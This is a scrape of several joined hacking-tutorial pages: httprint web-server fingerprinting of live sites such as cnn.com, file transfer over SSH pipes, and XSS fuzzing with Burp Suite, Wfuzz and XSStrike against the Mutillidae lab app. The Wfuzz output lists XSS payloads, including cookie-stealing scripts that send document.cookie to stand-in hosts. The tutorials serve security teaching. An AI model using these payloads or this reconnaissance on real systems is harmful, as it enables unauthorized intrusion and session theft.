Welcome back, my greenhorn hackers!Earlier inthis series, I showed a you a couple of different ways of fingerprinting webservers. Probably the easiest way, is to usenetcatand connect to port 80 and pull the webserver banner.The banner is simply the application advertising what it is. Webserver administrators who are vigilant and savvy about security will often suppress or masquerade their banners.In other words, to throw off hackers, they might replace the banner of, say, Microsoft's IIS 6.0 with a banner saying it is Apache 2.4.0. In that way, hackers will spend their time and effort trying to hack a relatively vulnerable IIS 6.0, get frustrated when it doesn't work, and eventually go away.Remember, exploits/hacks are specific to the application and operating system among many factors. That's why fingerprinting is SO important. A hack that works on IIS 6.0 will NOT likely work on Apache.In addition, some web administrators will put various load balancing and other devices designed to obscure the identity of the web server (Computer Associates advertises one their products with the tagline, "You can't hack what you can't see").Fortunately, there are more sophisticated ways of determining what web server is running a website.httpprintis just such a tool, which uses heuristics (an educated guess based upon incomplete, but probably sufficient data) to identify the web server as well as web enabled devices such as printers, routers, switches, etc.Step 1: Open HttprintLet's start by opening httprint. Unfortunately, the GUI in BackTrack points to the wrong directory, so we need to open a terminal and type:bt > cd /pentest/enumeration/web/httprint/linuxOnce we are in the correct directory, let's open the help screen in httprint../httprint -hAbout a third of the way down this help screen, you can see the basic syntax forhttprint, which is:httprint -h <host> -s signatures.txtWhere signatures.txt is text file in this directory that contains the signatures of the many types of web servers that httprint uses to determine the identity of the target.Step 2: Test It in CNN.ComLet's test it on cnn.com's website.bt > ./httprint -h 157.166.226.25 -P0 -s signatures.txtI have added theP0to suppress the ping (like when usingnmap) that often is blocked by network devices and will prohibit us from accessing the web server.As you can see above, httprint has fingerprinted the site and tells us that cnn.comreportsthat it is using the nginx webserver, but in reality, is running Microsoft IIS 6.0! Hmm...that is VERY INTERESTING!Reporting that you are running nginx is a good security strategy for cnn.com as there far fewer known vulnerabilities for nginx than IIS 6.0 This will help to divert most attackers, but not us!Step 3: Let's Try Craigslist.orgLet's try the same on craigslist.org.bt > ./httprint -h 208.82.238.129 -P0 -s signtaures.txthttprint tells us that craigslist.org's website shows a banner saying it is running Apache, but httprint thinks it is Oracle's Web Logic server. One interesting thing about httprint is that it also gives us a confidence level and here it says it is 27.71% confident. Not real high, so we'll take this one with a large grain of salt.Step 4: Finally, Let's Try Wikipedia.comLet's try one more site and see what httprint tells us. Let's point it at wikipedia.com.bt> ./httprint -h 208.80.154.224 -P0 -s signatures.txthttprint tells us that although Wikipedia says it is running Apache, it deduces with a 48.8% confidence that it is running Red Hat's TUX 2.0.Httprint is another tool in our arsenal of reconnaissance tools to decipher the nature of the target. These tools are critical as nearly every exploit is specific, so we MUST determine what we are attacking BEFORE we attack.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseFingerprintimage via ShutterstockRelatedHack Like a Pro:How to Hack Web Apps, Part 1 (Getting Started)Advanced Nmap:Top 5 Intrusive Nmap Scripts Hackers & Pentesters Should KnowHow To:Fingerprint-Lock Apps on Android Without a Fingerprint ScannerHack Like a Pro:How to Hack Web Apps, Part 2 (Website Spidering with WebScarab)Hack Like a Pro:How to Hack Web Apps, Part 7 (Finding Hidden Objects with DIRB)How To:Lock Apps Using Your Samsung Galaxy S6’s Fingerprint ScannerHack Like a Pro:How to Conduct OS Fingerprinting with Xprobe2Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 11 (Apache Web Servers)How To:Use Your Fingerprint Scanner to Do Almost Anything with TaskerHow To:Lock Any App with a Fingerprint on Android MarshmallowHack Like a Pro:How to Use Netcat, the Swiss Army Knife of Hacking ToolsAndroid for Hackers:How to Scan Websites for Vulnerabilities Using an Android Phone Without RootCanvas Fingerprinting:How to Stop the Web's Sneakiest Tracking Tool in Your BrowserHack Like a Pro:How to Scan the Internet for Heartbleed VulnerabilitiesHow To:Hack Your Firefox User Agent to Spoof Your OS and BrowserNews:10 Great 99 Cent Apps You Need on Your Android Right NowHow To:Get the Pixel's Fingerprint Swipe Notification Gesture on Other DevicesAndroid Basics:How to Unlock Your Phone with Your FingerprintHow To:Turn Off Your Android's Screen with Your Fingerprint ScannerThe Sony Hack:Thoughts & Observations from a Real HackerNews:Researchers Find 'MasterPrints' That Can Bypass Your Phone's Fingerprint ScannerHack Like a Pro:How to Use PowerSploit, Part 1 (Evading Antivirus Software)How To:This Hack Lets You Touch Your Galaxy's Home Key Instead of Pressing ItNews:Latest Huawei Mate 20 Rumors & Leaks β€” Face ID, Massive Battery & Wireless ChargingNews:Samsung Scraps In-Display Fingerprint Scanner for Galaxy Note 8News:OnePlus 5 Looks to Have a Rear Fingerprint SensorHow To:Secure Any Android App with Your FingerprintHow To:Make the Fingerprint Scanner Work Faster on Your Galaxy DeviceHow To:Detect Vulnerabilities in a Web Application with UniscanHow to Hack Wi-Fi:Evading an Authentication Proxy Using ICMPTXHack Like a Pro:How to Use the New p0f 3.0 for OS Fingerprinting & ForensicsHack Like a Pro:How to Find Vulnerable Targets Using Shodanβ€”The World's Most Dangerous Search EngineHacking Reconnaissance:Finding Vulnerabilities in Your Target Using NmapCommunity Byte:HackThisSite, Realistic 5 - Real Hacking SimulationsGoodnight Byte:HackThisSite Walkthrough, Part 2 - Legal Hacker TrainingCommunity Byte:HackThisSite, Realistic 4 - Real Hacking SimulationsCommunity Byte:HackThisSite, Realistic 3 - Real Hacking SimulationsHow To:The Official Google+ Insider's Guide IndexHow To:Spider Web Pages with Nmap for SQLi VulnerabilitiesHow To:Run a Free Web Server From Home on Windows or Linux with Apache
Electricity Basics Β« Null Byte :: WonderHowTo
No content found.
How to Push and Pull Remote Files Securely Over SSH with Pipes Β« Null Byte :: WonderHowTo
You can use a secure shell to route traffic or access files, but there's something else you can do. Transfer files. There are loads of solutions for transferring files, like Dropbox, FTP, torrents, etc., but what about for a special ordeal? Most commonly, the way people get shells are from free servers online.The reason that we consider using free shells a "special ordeal' is because we are often times not allowed to use any form of X session over a SSH tunnel, so programs like Dropbox get ousted, and even FTP, because most servers do not allow hosting of that kind for free. So we need to be able to push and pull files... yet somehow not use anything but the tools that come stock on the server.Our answer? Pipe commands. And no... not SCP.In this Null Byte, get ready to learn how to send and receive files over SSH using only pipe commands and some clever command line tricks.RequirementsSHH client installedLinuxPushing & Pulling FilesUsing strictly pipes and BASH tricks, follow along with me in the video below and watch me push and pull a file named "cow".Please enable JavaScript to watch this video.Commandscatlocalfile| sshuser@server.comcat ">"remotefilesshtarget_addresscatremotefile>localfileYou could turn this into a cool Python program, too. I picture something like this would be used to create the shortest possible script.os.system('cat '+sys.argv[2]+' | ssh '+sys.argv[1]+' ">" '+sys.argv[3])With a syntax like:program.py <user@host> <localfile> <remotefile>Be a Part of Null Byte!Post to theforumsChat onIRCFollow onTwitterCircle onGoogle+Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicensePhoto bymetroRelatedHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 15 (Creating a Secure Tunnel to MySQL)How To:Run Your Favorite Graphical X Applications Over SSHHow To:Use Remote Port Forwarding to Slip Past Firewall Restrictions UnnoticedSPLOIT:How to Make an SSH Brute-Forcer in PythonHacking Windows 10:How to Use SSH Tunnels to Forward Requests & Hack Remote RoutersHow To:Use the Chrome Browser Secure Shell App to SSH into Remote DevicesHow To:Set up SSH tunneling to securely transmit HTTP trafficHow To:Browse securely with SSH and a SOCKS proxyHow To:Create a Reusable Burner OS with Docker, Part 3: Storing Our Hacking Container RemotelyHow To:Locate & Exploit Devices Vulnerable to the Libssh Security FlawHow To:Configure a Reverse SSH Shell (Raspberry Pi Hacking Box)How To:Use SSH Local Port Forwarding to Pivot into Restricted NetworksHow To:Securely Sync Files Between Two Machines Using SyncthingHow To:Spy on SSH Sessions with SSHPry2.0How To:Set Up an SSH Server with Tor to Hide It from Shodan & HackersHow To:Cap off a water pipeHow To:Hack Metasploitable 2 Part 1How To:Share Your LAN Minecraft World with Your Linux-Savvy FriendsHow To:Enable the New Native SSH Client on Windows 10How To:Create an SSH tunnel for your Mac Mini serverHacking Windows 10:How to Turn Compromised Windows PCs into Web ProxiesHow To:Use copper push-fit fittings to connect pipingHow To:Create a Native SSH Server on Your Windows 10 SystemSSH the World:Mac, Linux, Windows, iDevices and Android.How To:Create a Free SSH Account on Shellmix to Use as a Webhost & MoreHow To:Remotely Control Computers Over VNC Securely with SSHHow To:Safely Log In to Your SSH Account Without a PasswordNews:Snakes in a HotelHow To:Create an SSH Tunnel Server and Client in LinuxHow To:Open and Pour a Bottle of ChampagneWeekend Homework:How to Become a Null Byte Contributor (2/10/2012)How To:Create a Reverse Shell to Remotely Execute Root Commands Over Any Open Port Using NetCat or BASHHow To:Make a Human Blockade LockboxNews:Shocking EndHow To:Make a High-Powered Compressed Air Rocket GunNews:Make your own vintage-inspired brooch bouquetHow To:Mask Your IP Address and Remain Anonymous with OpenVPN for LinuxNews:Sticky WakeupContest:Spud GunNews:PVC Pipe Trellis for Gourds
Discover XSS Security Flaws by Fuzzing with Burp Suite, Wfuzz & XSStrike Β« Null Byte :: WonderHowTo
Cross-site scriptingis one of the most common vulnerabilities found on the web today, with repercussions of this type of flaw ranging from harmless defacement to sensitive data exposure. Probing for XSS can be tedious and time-consuming for an attacker, but luckily there are tools available to make things a little easier, including Burp Suite, Wfuzz, and XSStrike.Fuzzing OverviewFuzzingis a technique used to test applications for security flaws in an automated fashion. The fuzzer, a piece of software designed to test for these flaws, provides malformed or random data as input to a program in order to find bugs, usually leading to vulnerabilities in the context of security. Generated input can be static, such as values loaded from alist, or random, and new fuzzers are even starting to use algorithms to dynamically generate and input data.Don't Miss:Write an XSS Cookie Stealer in JavaScript to Steal PasswordsWe will be usingMutillidae, avulnerable web application, to test forXSS flaws. To get started, open up Mutillidae, and on the left, browse to "OWASP Top 10," then "Cross Site Scripting," followed by "Reflected," and finally "DNS Lookup." This will be our entry point for XSS fuzzing.App 1: Burp SuiteBurp Suiteis a powerful tool used to test web applications for vulnerabilities. The free Community Edition is included inKali Linux. In its most common utilization, Burp is used as aproxyto intercept and modify requests.We need to configure our browser to work with Burp. In Firefox, go to "Preferences," and scroll all the way down to the section titledNetwork Proxy. Click on the "Settings" button, select "Manual proxy configuration," and enter127.0.0.1as theHTTP Proxyand8080as thePort. Now, check "Use this proxy server for all protocols," and make sure it is blank underNo Proxy for.Finally, click "OK," and everything should be configured correctly. You can then fire up Burp Suite and start a new project. Navigate to the "Proxy" tab and ensure the "Intercept is on" button is pressed. This will allow us to modify the request and fuzz for XSS.Next, back in Mutillidae, enter a value in theHostname/IPtext box, and hit "Lookup DNS" to submit the request (I just used 127.0.0.1 – it doesn't really matter here). The request should show up in Burp now.Right-click anywhere in the request window, and select "Send to Intruder," then navigate to the "Intruder" tab. We will use the "Sniper" attack type to iterate through a list of payloads. Burp will automatically select positions to use, which are the parameters to test, but for now, we only need one. Hit the "Clear" button on the right, highlight the target host we entered earlier, and hit the "Add" button.Next, go to the "Payloads" tab, and underPayload Options, press "Load." There is a useful wordlist located at/usr/share/wfuzz/wordlist/Injections/XSS.txtβ€” browse to it and we are ready to launch the attack.Press "Start attack," and a new window will pop up. Once the attack has iterated through all the payloads in our wordlist, the attack is finished and we can see all the requests and theirstatus codes.To demonstrate, let's take a look at request number 3. If we paste this payload into the DNS Lookup utility, an alert box will pop up proving that this page is indeed vulnerable to XSS.Before we move on to other tools, make sure your browser's proxy configuration is changed back to use system settings.App 2: WfuzzWfuzzis another popular tool used to fuzz applications not only for XSS vulnerabilities, but alsoSQL injections, hidden directories, form parameters, and more. It is included in Kali by default.To display help settings, typewfuzz -hat the terminal.wfuzz -h Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. ******************************************************** * Wfuzz 2.2.11 - The Web Fuzzer * * * * Version up to 1.4c coded by: * * Christian Martorella (cmartorella@edge-security.com) * * Carlos del ojo (deepbit@gmail.com) * * * * Version 1.4d to 2.2.11 coded by: * * Xavier Mendez (xmendez@edge-security.com) * ******************************************************** Usage: wfuzz [options] -z payload,params <url> FUZZ, ..., FUZnZ wherever you put these keywords wfuzz will replace them with the values of the specified payload. FUZZ{baseline_value} FUZZ will be replaced by baseline_value. It will be the first request performed and could be used as a base for filtering. Options: -h : This help --help : Advanced help --version : Wfuzz version details -e <type> : List of available encoders/payloads/iterators/printers/scripts -c : Output with colors -v : Verbose information. --interact : (beta) If selected,all key presses are captured. This allows you to interact with the program. -p addr : Use Proxy in format ip:port:type. Repeat option for using various proxies. Where type could be SOCKS4,SOCKS5 or HTTP if omitted. ...We will be testing the same page in Mutillidae for XSS vulnerabilities. Basic usage of Wfuzz includes specifying a wordlist file including the payloads to use with the-zflag, and the URL to test, replacing the parameter in question withFUZZ. We can also set the-cflag to get color output.wfuzz -c -z file,/usr/share/wfuzz/wordlist/Injections/XSS.txt http://172.16.1.102/mutillidae/index.php?page=FUZZ Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. ******************************************************** * Wfuzz 2.2.11 - The Web Fuzzer * ******************************************************** Target: http://172.16.1.102/mutillidae/index.php?page=FUZZ Total requests: 39 ================================================================== ID Response Lines Word Chars Payload ================================================================== 000020: C=200 514 L 1425 W 21898 Ch "<IMG%20SRC=`javascript:alert("'WXSS'")`>" 000019: C=200 514 L 1425 W 21812 Ch "<IMG%20SRC=javascript:alert(&quot;WXSS&quot;)>" 000021: C=200 514 L 1425 W 21983 Ch "<IMG%20"""><SCRIPT>alert("WXSS")</SCRIPT>">" 000001: C=200 514 L 1420 W 21769 Ch ""><script>"" 000003: C=200 514 L 1420 W 21907 Ch "<<script>alert("WXSS");//<</script>" 000016: C=200 514 L 1425 W 21877 Ch "<IMG%20SRC="javascript:alert('WXSS')"" 000015: C=200 514 L 1425 W 21893 Ch "<IMG%20SRC="javascript:alert('WXSS');">" 000002: C=200 514 L 1420 W 21870 Ch "<script>alert("WXSS")</script>" 000018: C=200 514 L 1425 W 21858 Ch "<IMG%20SRC=JaVaScRiPt:alert('WXSS')>" 000017: C=200 514 L 1425 W 21858 Ch "<IMG%20SRC=javascript:alert('WXSS')>" 000022: C=200 514 L 1425 W 21973 Ch "<IMG%20SRC=javascript:alert(String.fromCharCode(88,83,83))>" 000023: C=200 514 L 1425 W 21762 Ch "<IMG%20SRC='javasc ript:alert(document.cookie)'>" 000024: C=200 514 L 1425 W 21757 Ch "<IMG%20SRC="jav ascript:alert('WXSS');">" 000025: C=200 514 L 1425 W 21757 Ch "<IMG%20SRC="jav&#x09;ascript:alert('WXSS');">" 000027: C=200 514 L 1425 W 21757 Ch "<IMG%20SRC="jav&#x0D;ascript:alert('WXSS');">" 000030: C=200 514 L 1425 W 21903 Ch "<IMG%20LOWSRC="javascript:alert('WXSS')">" 000029: C=200 514 L 1425 W 21903 Ch "<IMG%20DYNSRC="javascript:alert('WXSS')">" 000026: C=200 514 L 1425 W 21757 Ch "<IMG%20SRC="jav&#x0A;ascript:alert('WXSS');">" 000028: C=200 514 L 1430 W 21747 Ch "<IMG%20SRC="%20&#14;%20javascript:alert('WXSS');">" 000031: C=200 514 L 1425 W 22060 Ch "<IMG%20SRC='%26%23x6a;avasc%26%23000010ript:a%26%23x6c;ert(document.%26%23x63;ookie)'>" 000032: C=200 514 L 1425 W 21727 Ch "<IMG%20SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>" 000033: C=200 514 L 1425 W 21727 Ch "<IMG%20SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>" 000034: C=200 514 L 1425 W 21727 Ch "<IMG%20SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>" 000036: C=200 514 L 1425 W 22191 Ch ""><script>document.location='http://cookieStealer/cgi-bin/cookie.cgi?'+document.cookie</script>" 000037: C=200 514 L 1425 W 22196 Ch "%22%3E%3Cscript%3Edocument%2Elocation%3D%27http%3A%2F%2Fyour%2Esite%2Ecom%2Fcgi%2Dbin%2Fcookie%2Ecgi%3F%27%20%2Bdocument%2Ecookie%3C%2Fscript%3E" 000035: C=200 514 L 1425 W 21950 Ch "'%3CIFRAME%20SRC=javascript:alert(%2527XSS%2527)%3E%3C/IFRAME%3E" 000039: C=200 514 L 1420 W 21763 Ch "'';!--"<XSS>=&{()}" 000038: C=200 514 L 1420 W 22883 Ch "';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//></SCRIPT>!--<SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>=&{}" 000005: C=200 514 L 1420 W 21911 Ch "'><script>alert(document.cookie)</script>" 000004: C=200 514 L 1420 W 21895 Ch "<script>alert(document.cookie)</script>" 000006: C=200 514 L 1420 W 21916 Ch "'><script>alert(document.cookie);</script>" 000007: C=200 514 L 1420 W 21776 Ch "\";alert('XSS');//" 000008: C=200 514 L 1420 W 21875 Ch "%3cscript%3ealert("WXSS");%3c/script%3e" 000009: C=200 514 L 1420 W 21900 Ch "%3cscript%3ealert(document.cookie);%3c%2fscript%3e" 000010: C=200 514 L 1425 W 21875 Ch "%3Cscript%3Ealert(%22X%20SS%22);%3C/script%3E" 000011: C=200 563 L 1570 W 24175 Ch "&ltscript&gtalert(document.cookie);</script>" 000012: C=200 563 L 1570 W 24175 Ch "&ltscript&gtalert(document.cookie);&ltscript&gtalert" 000013: C=200 514 L 1420 W 21964 Ch "<xss><script>alert('WXSS')</script></vulnerable>" 000014: C=200 514 L 1425 W 21913 Ch "<IMG%20SRC='javascript:alert(document.cookie)'>" Total time: 26.54032 Processed Requests: 39 Filtered Requests: 0 Requests/sec.: 1.469462We can see each request ID, the response code, and information about that request. The payloads from our wordlist file are also included, and near the bottom, there is data including total time and the number of requests. Also of use, when fuzzing an application where many different response codes might be encountered, the--hcflag can be utilized to ignore certain responses, such as 404 codes.Another helpful feature of Wfuzz is the ability toencode payloadsin order to bypass defensive filters more effectively. To list the available encoders, use the following command.wfuzz -e encoders Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. Available encoders: Category | Name | Summary ------------------------------------------------------------------------------------------------------------------------ url_safe, url | urlencode | Replace special characters in string using the %xx escape. Letters, digits, and | | the characters '_.-' are never quoted. url_safe, url | double urlencode | Applies a double encode to special characters in string using the %25xx escape. | | Letters, digits, and the characters '_.-' are never quoted. url | uri_double_hex | Encodes ALL charachers using the %25xx escape. html | html_escape | Convert the characters '&', '<' and '>' in string to HTML-safe sequences. html | html_hexadecimal | Replaces ALL characters in string using the &#xx; escape hashes | base64 | Encodes the given string using base64 url | doble_nibble_hex | Replaces ALL characters in string using the %%dd%dd escape db | mssql_char | Converts ALL characters to MsSQL's char(xx) url | utf8 | Replaces ALL characters in string using the \u00xx escape hashes | md5 | Applies a md5 hash to the given string default | random_upper | Replaces random characters in string with its capitals letters url | first_nibble_hex | Replaces ALL characters in string using the %%dd? escape default | hexlify | Every byte of data is converted into the corresponding 2-digit hex representatio | | n. url | second_nibble_hex | Replaces ALL characters in string using the %?%dd escape url | uri_hex | Encodes ALL charachers using the %xx escape. default | none | Returns string without changes hashes | sha1 | Applies a sha1 hash to the given string url | utf8_binary | Replaces ALL characters in string using the \uxx escape url | uri_triple_hex | Encodes ALL charachers using the %25%xx%xx escape. url | uri_unicode | Replaces ALL characters in string using the %u00xx escape html | html_decimal | Replaces ALL characters in string using the &#dd; escape db | oracle_char | Converts ALL characters to Oracle's chr(xx) db | mysql_char | Converts ALL characters to MySQL's char(xx)Simply append the desired encoder (in this caseurlencode) to the specified file, separated by a comma, to encode the payloads.wfuzz -c -z file,/usr/share/wfuzz/wordlist/Injections/XSS.txt,urlencode http://172.16.1.102/mutillidae/index.php?page=FUZZ Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. ******************************************************** * Wfuzz 2.2.11 - The Web Fuzzer * ******************************************************** Target: http://172.16.1.102/mutillidae/index.php?page=FUZZ Total requests: 39 ================================================================== ID Response Lines Word Chars Payload ================================================================== 000003: C=200 514 L 1420 W 21907 Ch "%3C%3Cscript%3Ealert%28%22WXSS%22%29%3B//%3C%3C/script%3E" 000002: C=200 514 L 1420 W 21870 Ch "%3Cscript%3Ealert%28%22WXSS%22%29%3C/script%3E" 000001: C=200 514 L 1420 W 21769 Ch "%22%3E%3Cscript%3E%22" 000007: C=200 514 L 1420 W 21776 Ch "%5C%22%3Balert%28%27XSS%27%29%3B//" 000005: C=200 514 L 1420 W 21911 Ch "%27%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E" 000009: C=200 514 L 1420 W 21926 Ch "%253cscript%253ealert%28document.cookie%29%3B%253c%252fscript%253e" 000008: C=200 514 L 1420 W 21891 Ch "%253cscript%253ealert%28%22WXSS%22%29%3B%253c/script%253e" 000004: C=200 514 L 1420 W 21895 Ch "%3Cscript%3Ealert%28document.cookie%29%3C/script%3E" 000010: C=200 514 L 1420 W 21901 Ch "%253Cscript%253Ealert%28%2522X%2520SS%2522%29%3B%253C/script%253E" 000006: C=200 514 L 1420 W 21916 Ch "%27%3E%3Cscript%3Ealert%28document.cookie%29%3B%3C/script%3E" 000011: C=200 514 L 1420 W 21924 Ch "%26ltscript%26gtalert%28document.cookie%29%3B%3C/script%3E" 000015: C=200 514 L 1420 W 21903 Ch "%3CIMG%2520SRC%3D%22javascript%3Aalert%28%27WXSS%27%29%3B%22%3E" 000012: C=200 514 L 1420 W 21968 Ch "%26ltscript%26gtalert%28document.cookie%29%3B%26ltscript%26gtalert" 000014: C=200 514 L 1420 W 21923 Ch "%3CIMG%2520SRC%3D%27javascript%3Aalert%28document.cookie%29%27%3E" 000019: C=200 514 L 1420 W 21934 Ch "%3CIMG%2520SRC%3Djavascript%3Aalert%28%26quot%3BWXSS%26quot%3B%29%3E" 000013: C=200 514 L 1420 W 21964 Ch "%3Cxss%3E%3Cscript%3Ealert%28%27WXSS%27%29%3C/script%3E%3C/vulnerable%3E" 000016: C=200 514 L 1420 W 21887 Ch "%3CIMG%2520SRC%3D%22javascript%3Aalert%28%27WXSS%27%29%22" 000017: C=200 514 L 1420 W 21868 Ch "%3CIMG%2520SRC%3Djavascript%3Aalert%28%27WXSS%27%29%3E" 000018: C=200 514 L 1420 W 21868 Ch "%3CIMG%2520SRC%3DJaVaScRiPt%3Aalert%28%27WXSS%27%29%3E" 000020: C=200 514 L 1420 W 21908 Ch "%3CIMG%2520SRC%3D%60javascript%3Aalert%28%22%27WXSS%27%22%29%60%3E" 000022: C=200 514 L 1420 W 21983 Ch "%3CIMG%2520SRC%3Djavascript%3Aalert%28String.fromCharCode%2888%2C83%2C83%29%29%3E" 000021: C=200 514 L 1420 W 21993 Ch "%3CIMG%2520%22%22%22%3E%3CSCRIPT%3Ealert%28%22WXSS%22%29%3C/SCRIPT%3E%22%3E" 000023: C=200 514 L 1425 W 21928 Ch "%3CIMG%2520SRC%3D%27javasc%09ript%3Aalert%28document.cookie%29%27%3E" 000025: C=200 514 L 1420 W 21941 Ch "%3CIMG%2520SRC%3D%22jav%26%23x09%3Bascript%3Aalert%28%27WXSS%27%29%3B%22%3E" 000024: C=200 514 L 1425 W 21908 Ch "%3CIMG%2520SRC%3D%22jav%09ascript%3Aalert%28%27WXSS%27%29%3B%22%3E" 000028: C=200 514 L 1420 W 21966 Ch "%3CIMG%2520SRC%3D%22%2520%26%2314%3B%2520javascript%3Aalert%28%27WXSS%27%29%3B%22%3E" 000027: C=200 514 L 1420 W 21941 Ch "%3CIMG%2520SRC%3D%22jav%26%23x0D%3Bascript%3Aalert%28%27WXSS%27%29%3B%22%3E" 000030: C=200 514 L 1420 W 21913 Ch "%3CIMG%2520LOWSRC%3D%22javascript%3Aalert%28%27WXSS%27%29%22%3E" 000026: C=200 514 L 1420 W 21941 Ch "%3CIMG%2520SRC%3D%22jav%26%23x0A%3Bascript%3Aalert%28%27WXSS%27%29%3B%22%3E" 000029: C=200 514 L 1420 W 21913 Ch "%3CIMG%2520DYNSRC%3D%22javascript%3Aalert%28%27WXSS%27%29%22%3E" 000031: C=200 514 L 1420 W 22118 Ch "%3CIMG%2520SRC%3D%27%2526%2523x6a%3Bavasc%2526%2523000010ript%3Aa%2526%2523x6c%3Bert%28document.%2526%2523x63%3Bookie%29%27%3E" 000032: C=200 514 L 1420 W 22562 Ch "%3CIMG%2520SRC%3D%26%23106%3B%26%2397%3B%26%23118%3B%26%2397%3B%26%23115%3B%26%2399%3B%26%23114%3B%26%23105%3B%26%23112%3B%26%23116%3B%26%2358%3B%26%2397%3B%26%23108%3B%26%23101%3B%26%23114%3B%26%23116%3B%26%2340%3B%26%2339%3B%26%2388%3B%26%2383%3B%26%2383%3B%26%2339%3B%26%2341%3B%3E" 000033: C=200 514 L 1420 W 22967 Ch "%3CIMG%2520SRC%3D%26%230000106%26%230000097%26%230000118%26%230000097%26%230000115%26%230000099%26%230000114%26%230000105%26%230000112%26%230000116%26%230000058%26%230000097%26%230000108%26%230000101%26%230000114%26%230000116%26%230000040%26%230000039%26%230000088%26%230000083%26%230000083%26%230000039%26%230000041%3E" 000035: C=200 514 L 1420 W 21996 Ch "%27%253CIFRAME%2520SRC%3Djavascript%3Aalert%28%252527XSS%252527%29%253E%253C/IFRAME%253E" 000034: C=200 514 L 1420 W 22507 Ch "%3CIMG%2520SRC%3D%26%23x6A%26%23x61%26%23x76%26%23x61%26%23x73%26%23x63%26%23x72%26%23x69%26%23x70%26%23x74%26%23x3A%26%23x61%26%23x6C%26%23x65%26%23x72%26%23x74%26%23x28%26%23x27%26%23x58%26%23x53%26%23x53%26%23x27%26%23x29%3E" 000036: C=200 514 L 1420 W 22191 Ch "%22%3E%3Cscript%3Edocument.location%3D%27http%3A//cookieStealer/cgi-bin/cookie.cgi%3F%27%2Bdocument.cookie%3C/script%3E" 000037: C=200 514 L 1420 W 22396 Ch "%2522%253E%253Cscript%253Edocument%252Elocation%253D%2527http%253A%252F%252Fyour%252Esite%252Ecom%252Fcgi%252Dbin%252Fcookie%252Ecgi%253F%2527%2520%252Bdocument%252Ecookie%253C%252Fscript%253E" 000038: C=200 514 L 1420 W 22906 Ch "%27%3Balert%28String.fromCharCode%2888%2C83%2C83%29%29//%5C%27%3Balert%28String.fromCharCode%2888%2C83%2C83%29%29//%22%3Balert%28String.fromCharCode%2888%2C83%2C83%29%29//%5C%22%3Balert%28String.fromCharCode%2888%2C83%2C83%29%29//%3E%3C/SCRIPT%3E%21--%3CSCRIPT%3Ealert%28String.fromCharCode%2888%2C83%2C83%29%29%3C/SCRIPT%3E%3D%26%7B%7D" 000039: C=200 514 L 1420 W 21796 Ch "%27%27%3B%21--%22%3CXSS%3E%3D%26%7B%28%29%7D" Total time: 27.33954 Processed Requests: 39 Filtered Requests: 0 Requests/sec.: 1.426505The results are similar to before, but now the each payload is URL encoded.App 3: XSStrikeThe last tool we will look at today isXSStrike. It is a dedicated suite for detecting cross-site scripting vulnerabilities that includes an intelligent payload generator, a fuzzer, a crawler,WAF detection, and more. XSStrike is currently in beta.Before we can use this tool, we need to download it from GitHub and install it on our machine. The process may vary slightly depending on the system, but for reference, I am using the latest version ofKali. XSStrike works best withPython 3.Download the tool using thewgetutility in theterminal, as seen in the below command.wget https://github.com/s0md3v/XSStrike/archive/master.zipNext, extract the archive by typingunzip master.zipand changing into the extracted directory withcdXSStrike-master. Now we should be able to run the tool by typingpython3 xsstrike.pyat the prompt.It may throw an error stating that thefuzzywuzzymodule is not installed.python3 xsstrike.py Traceback (most recent call last): File "xsstrike.py", line 35, in <module> from core.checker import checker File "/root/XSStrike-master/core/checker.py", line 3, in <module> from fuzzywuzzy import fuzz ModuleNotFoundError: No module named 'fuzzywuzzy'If this is the case, just usepip3 install fuzzywuzzyto install the missing module. Now we should be good to go.To display the help menu, use the-hflag.python3 xsstrike.py -h XSStrike v3.0-beta usage: xsstrike.py [-h] [-u TARGET] [--data DATA] [--fuzzer] [--update] [--timeout] [--params] [--crawl] [-l LEVEL] [--headers] [-t THREADS] [-d DELAY] [--skip-poc] [--skip-dom] optional arguments: -h, --help show this help message and exit -u TARGET, --url TARGET url --data DATA post data --fuzzer fuzzer --update update --timeout timeout --params find params --crawl crawl -l LEVEL, --level LEVEL level of crawling --headers add headers -t THREADS, --threads THREADS number of threads -d DELAY, --delay DELAY delay between requests --skip-poc skip poc generation --skip-dom skip dom checkingXSStrike's basic usage is quite simple β€” use the-uflag followed by the URL to test.python3 xsstrike.py -u http://172.16.1.102/mutillidae/index.php?page=dns-lookup.php XSStrike v3.0-beta [~] Checking for DOM vulnerabilities 